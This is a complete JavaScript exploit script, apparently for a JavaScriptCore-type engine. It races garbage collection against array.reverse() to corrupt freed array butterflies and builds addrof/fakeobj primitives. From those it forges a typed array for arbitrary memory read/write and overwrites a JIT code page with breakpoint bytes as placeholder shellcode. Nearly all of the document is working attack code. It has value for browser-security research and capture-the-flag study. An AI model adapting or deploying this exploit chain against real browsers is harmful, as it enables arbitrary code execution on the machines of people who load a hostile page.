// Load Int library, thanks saelo! load('util.js'); load('int64.js'); // Helpers to convert from float to in a few random places var conva = new ArrayBuffer(8); var convf = new Float64Array(conva); var convi = new Uint32Array(conva); var convi8 = new Uint8Array(conva); var floatarr_magic = new Int64('0x3131313131313131').asDouble(); var floatarr_magic = new Int64('0x3131313131313131').asDouble(); var jsval_magic = new Int64('0x3232323232323232').asDouble(); var structs = []; function log(x) { print(x); } // Look OOB for array we can use with JSValues function findArrayOOB(corrupted_arr, groom) { log("Looking for JSValue array with OOB Float array"); for (let i = 0; i<corrupted_arr.length; i++) { convf[0] = corrupted_arr[i]; // Find the magic value we stored in the JSValue Array if (convi[0] == 0x10) { convf[0] = corrupted_arr[i+1]; if (convi[0] != 0x32323232) continue; // Change the first element of the array corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble(); let target = null; // Find which array we modified for (let j = 0; j<groom.length; j++) { if (groom[j][0] != jsval_magic) { target = groom[j]; break } } log("Found target array for addrof/fakeobj"); // This object will hold our primitives let prims = {}; let oob_ind = i+1; // Get the address of a given jsobject prims.addrof = function(x) { // To do this we put the object in the jsvalue array and // access it OOB with our float array target[0] = x; return Int64.fromDouble(corrupted_arr[oob_ind]); } // Return a jsobject at a given address prims.fakeobj = function(addr) { // To do this we overwrite the first slot of the jsvalue array // with the OOB float array corrupted_arr[oob_ind] = addr.asDouble(); return target[0]; } return prims; } } } // Here we will spray structure IDs for Float64Arrays // See http://www.phrack.org/papers/attacking_javascript_engines.html function sprayStructures() { function randomString() { return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5); } // Spray arrays for structure id for (let i = 0; i < 0x1000; i++) { let a = new Float64Array(1); // Add a new property to create a new Structure instance. a[randomString()] = 1337; structs.push(a); } } // Here we will create our fake typed array and get arbitrary read/write // See http://www.phrack.org/papers/attacking_javascript_engines.html function getArb(prims) { sprayStructures() let utarget = new Uint8Array(0x10000); utarget[0] = 0x41; // Our fake array // Structure id guess is 0x200 // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)] let jscell = new Int64('0x0118270000000200'); // Construct the object // Each attribute will set 8 bytes of the fake object inline obj = { 'a': jscell.asDouble(), // Butterfly can be anything 'b': false, // Target we want to write to 'c': utarget, // Length and flags 'd': new Int64('0x0001000000000010').asDouble() }; // Get the address of the values we stored in obj let objAddr = prims.addrof(obj).add(16); log("Obj addr + 16 = "+objAddr); // Create a fake object from this pointer let fakearray = prims.fakeobj(objAddr); // Attempt to find a valid ID for our fake object while(!(fakearray instanceof Float64Array)) { jscell.add(1); obj['a'] = jscell.asDouble(); } log("Matched structure id!"); // Set data at a given address prims.set = function(addr, arr) { fakearray[2] = addr.asDouble(); utarget.set(arr); } // Read 8 bytes as an Int64 at a given address prims.read64 = function(addr) { fakearray[2] = addr.asDouble(); let bytes = Array(8); for (let i=0; i<8; i++) { bytes[i] = utarget[i]; } return new Int64(bytes); } // Write an Int64 as 8 bytes at a given address prims.write64 = function(addr, value) { fakearray[2] = addr.asDouble(); utarget.set(value.bytes); } } // Here we will use build primitives to eventually overwrite the JIT page function exploit(corrupted_arr, groom) { save.push(groom); save.push(corrupted_arr); // Create fakeobj and addrof primitives let prims = findArrayOOB(corrupted_arr, groom); // Upgrade to arb read/write from OOB read/write getArb(prims); // Build an arbitrary JIT function // This was basically just random junk to make the JIT function larger let jit = function(x) { var j = []; j[0] = 0x6323634; return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; }; // Make sure the JIT function has been compiled jit(); jit(); jit(); // Traverse the JSFunction object to retrieve a non-poisoned pointer log("Finding jitpage"); let jitaddr = prims.read64( prims.read64( prims.read64( prims.read64( prims.addrof(jit).add(3*8) ).add(3*8) ).add(3*8) ).add(5*8) ); log("Jit page addr = "+jitaddr); // Overwrite the JIT code with our INT3s log("Writting shellcode over jit page"); prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]); // Call the JIT function, triggering our INT3s log("Calling jit function"); jit(); throw("JIT returned"); } // Find and set the length of a non-freed butterfly with our unstable OOB primitive function setLen(uaf_arr, ind) { let f=0; for (let i=0; i<uaf_arr.length; i++) { convf[0] = uaf_arr[i]; // Look for a new float array, and set the length if (convi[0] == 0x10) { convf[0] = uaf_arr[i+1]; if (convi[0] == 0x32323232 && convi[1] == 0x32323232) { convi[0] = 0x42424242; convi[1] = 0x42424242; uaf_arr[i] = convf[0]; return; } } } throw("Could not find anouther array to corrupt"); } let oob_rw_unstable = null; let oob_rw_unstable_ind = null; let oob_rw_stable = null; // After this point we would stop seeing GCs happen enough to race :( const limit = 10; const butterfly_size = 32 let save = [0, 0] for(let at = 0; at < limit; at++) { log("Trying to race GC and array.reverse() Attempt #"+(at+1)); // Allocate the initial victim and target arrays let victim_arrays = new Array(2048); let groom = new Array(2048); for (let i=0; i<victim_arrays.length; i++) { victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic) groom[i] = new Array(butterfly_size/2).fill(jsval_magic) } let vv = []; let v = [] // Allocate large strings to trigger the GC while calling reverse for (let i = 0; i < 506; i++) { for(let j = 0; j < 0x100; j++) { // Cause GCs to trigger while we are racing with reverse if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) } victim_arrays.reverse() } } for (let i = 0; i < victim_arrays.length; i++) { // Once we see we have replaced a free'd butterfly // fill the replacing array with 0x41414141... to smash rest // of UAF'ed butterflies // We know the size will be 506, because it will have been replaced with v // we were pushing into in the loop above if(victim_arrays[i].length == 506) { victim_arrays[i].fill(2261634.5098039214) } // Find the first butterfly we have smashed // this will be an unstable OOB r/w if(victim_arrays[i].length == 0x41414141) { oob_rw_unstable = victim_arrays[i]; oob_rw_unstable_ind = i; break; } } // If we successfully found a smashed and still freed butterfly // use it to corrupt a non-freed butterfly for stability if(oob_rw_unstable) { setLen(oob_rw_unstable, oob_rw_unstable_ind) for (let i = 0; i < groom.length; i++) { // Find which array we just corrupted if(groom[i].length == 0x42424242) { oob_rw_stable = groom[i]; break; } } if (!oob_rw_stable) { throw("Groom seems to have failed :("); } } // chew CPU to avoid a segfault and help with gc schedule for (let i = 0; i < 0x100000; i++) { } // Attempt to clean up some let f = [] for (let i = 0; i < 0x2000; i++) { f.push(new Array(16).fill(2261634.6098039214)) } save.push(victim_arrays) save.push(v) save.push(f) save.push(groom) if (oob_rw_stable) { log("Found stable corrupted butterfly! Now the fun begins..."); exploit(oob_rw_stable, groom); break; } } throw("Failed to find any UAF'ed butterflies");